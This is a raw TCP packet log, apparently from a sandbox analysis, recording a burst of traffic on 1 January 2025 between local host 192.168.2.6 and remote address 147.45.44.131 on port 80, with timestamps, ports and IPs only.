Jan 1, 2025 08:53:02.194597960 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194598913 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194611073 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194614887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194624901 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194636106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194642067 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194647074 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194675922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194698095 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194865942 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194878101 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194886923 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194897890 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194909096 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194919109 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194921017 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194930077 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.194940090 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.194961071 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195005894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195015907 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195024967 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195035934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195045948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195051908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195065022 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195090055 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195147991 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195159912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195169926 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195178032 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195194006 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195226908 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195236921 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195247889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195256948 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195266962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195277929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195280075 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195287943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195298910 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195310116 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195311069 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195326090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.195327997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.195353985 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.242366076 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.275521040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275568962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275579929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275624990 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.275711060 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275722980 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275732994 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275744915 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275767088 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.275780916 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.275964022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275974989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.275985956 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276000977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276011944 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276020050 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276022911 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276035070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276041031 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276063919 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276073933 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276252985 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276264906 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276274920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276283979 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276293993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276305914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276308060 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276319981 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276329041 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.276338100 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276355028 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.276381969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.277327061 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277338028 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277349949 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277381897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.277487993 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277499914 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277509928 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277539968 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.277561903 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.277585030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277594090 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.277636051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.278680086 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278719902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278765917 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.278774977 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278786898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278825998 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.278912067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278923035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278933048 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278943062 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278954983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.278961897 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279005051 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279099941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279110909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279153109 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279195070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279206038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279216051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279226065 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279244900 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279272079 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279340029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279350042 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279361010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279376984 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279386997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279392004 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279400110 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279409885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279421091 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279422045 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279443026 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279613972 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279664040 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279752970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279762983 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279772043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279783964 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279793024 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279803038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279808044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279814005 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279827118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279836893 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279843092 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279850006 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279858112 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279861927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.279875994 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.279902935 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280195951 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280206919 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280216932 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280226946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280236959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280253887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280267954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280286074 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280354023 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280364990 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280375004 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280385971 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280397892 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280405998 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280436039 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280493021 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280540943 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280612946 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280626059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280636072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280647039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280656099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280663013 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280668020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280678988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280689955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280697107 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280700922 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280711889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.280719995 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280739069 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.280762911 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281156063 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281167030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281177044 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281188011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281198025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281208992 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281210899 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281219959 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281232119 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281241894 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281241894 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281253099 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281263113 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281265020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281276941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281284094 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281287909 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281301022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281306028 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281327009 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281338930 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281764030 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281774998 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281785011 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281801939 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281811953 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281812906 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281824112 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281835079 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281846046 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281847954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281857014 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281867027 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281872988 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281879902 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.281894922 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.281923056 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282008886 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282020092 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282030106 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282038927 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282048941 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282056093 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282061100 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282072067 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282074928 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282083035 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282099962 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282123089 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282206059 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282217026 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282255888 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282357931 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282368898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282380104 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282390118 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.282408953 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.282430887 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.362510920 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362593889 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362603903 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362680912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362693071 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362746000 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.362746000 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.362787962 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362798929 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362808943 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.362848997 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363009930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363020897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363032103 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363042116 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363053083 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363059044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363064051 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363082886 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363102913 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363220930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363231897 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363265991 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363394022 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363404989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363415003 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363425970 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363436937 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363445044 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363445997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.363466978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.363486052 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.364207029 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364217997 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364229918 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364259958 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.364372015 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364382982 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364392996 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364403963 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364414930 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.364425898 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.364449978 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.364460945 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365556955 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365573883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365585089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365612984 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365678072 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365689039 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365699053 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365710020 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365731001 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365757942 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365854025 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365864038 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365873098 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365885019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365895987 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.365905046 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365919113 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.365940094 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366102934 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366115093 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366125107 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366134882 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366144896 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366154909 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366183043 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366260052 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366271019 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366281033 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366292000 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366311073 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366338968 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366417885 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366427898 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366437912 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366467953 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366478920 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366497040 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366508961 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366518974 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366528988 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366539001 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366549969 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366549969 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366564989 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366584063 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366602898 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366820097 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366831064 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366842031 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366852999 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366873980 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366889954 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.366980076 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.366991043 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367002010 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367011070 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367033005 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367049932 CET	49700	80	192.168.2.6	147.45.44.131
Jan 1, 2025 08:53:02.367153883 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367165089 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367175102 CET	80	49700	147.45.44.131	192.168.2.6
Jan 1, 2025 08:53:02.367187023 CET	80	49700	147.45.44.131	192.168.2.6
